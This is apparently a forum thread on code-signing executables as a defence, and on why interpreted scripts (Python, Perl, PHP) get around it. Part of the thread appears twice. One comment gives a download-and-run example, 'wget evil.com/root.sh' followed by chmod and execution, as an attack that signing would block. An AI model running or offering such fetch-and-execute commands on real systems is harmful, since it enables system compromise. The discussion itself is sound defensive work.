3 ms·

>Only load and run source or executable files with a trusted certificate This kind of solution works well with the exception of pretty much any scripting-langu

>Only load and run source or executable files with a trusted certificate This kind of solution works well with the exception of pretty much any scripting-language. For example I hacked up a cute linux security module to allow executions by the kernel to be validated via userspace: https://github.com/skx/linux-security-modules/tree/master/security/can-exec https://github.com/skx/linux-security-modules/tree/master/se... You could also use SELinux, AppArmor, and similar traditional approaches. Once you've picked a solution you could then go on to sign `/bin/ls`, `/bin/bash`, etc, and deny the execution of unsigned binaries such that this would fail: wget evil.com/root.sh chmod 755 root.sh ./root.sh (This example assumes that you'd even permit `wget` and `chmod` to run.) However the approach fails if you want to allow running perl, php, python-scripts, etc. You'd have to sign the interpreters so that they could run. But if you allow `python` to execute then there is no difference between: python /path/to/good.py and python /path/to/evil.py Since the executable in both cases is `python`, not the script. You'd have to hack the interpeters to do signature validation on your scripts - and if you did that you'd almost certainly need to update all the standard-libraries to allow those to be loaded. (It is possible you could work around this via policies, but off the top of my head ..)

kevingadd 8y ago
You'd codesign the scripts, yeah. I've done that before when using an interpreter. It's not trivial but all the major script runtimes that matter have relevant embedding hooks to let you do it.
- stevekemp 8y ago
  Presumably you'd need to do more than sign/check the script running as the argument though? For example: #!/usr/bin/perl use module; print "OK\n"; The module could have been modified by a local user too - so you need to check all libraries that are included/opened too? That would seem to be a lot of work.
imtringued 8y ago
>You'd have to hack the interpeters to do signature validation on your scripts The proposed polyscripting mitigation already requires extensive changes to the interpreter. You have to generate a new grammar. Transform the current php, js, python, etc AST to the new grammar and then reimplement the interpreter to work on the generated grammar. Implementing code signing in the interpreter is far simpler. A single method "checkSignature" and corresponding calls to it every time a script file is opened.

kevingadd 8y ago

You'd codesign the scripts, yeah. I've done that before when using an interpreter. It's not trivial but all the major script runtimes that matter have relevant embedding hooks to let you do it.

stevekemp 8y ago
Presumably you'd need to do more than sign/check the script running as the argument though? For example: #!/usr/bin/perl use module; print "OK\n"; The module could have been modified by a local user too - so you need to check all libraries that are included/opened too? That would seem to be a lot of work.

imtringued 8y ago

>You'd have to hack the interpeters to do signature validation on your scripts The proposed polyscripting mitigation already requires extensive changes to the interpreter. You have to generate a new grammar. Transform the current php, js, python, etc AST to the new grammar and then reimplement the interpreter to work on the generated grammar. Implementing code signing in the interpreter is far simpler. A single method "checkSignature" and corresponding calls to it every time a script file is opened.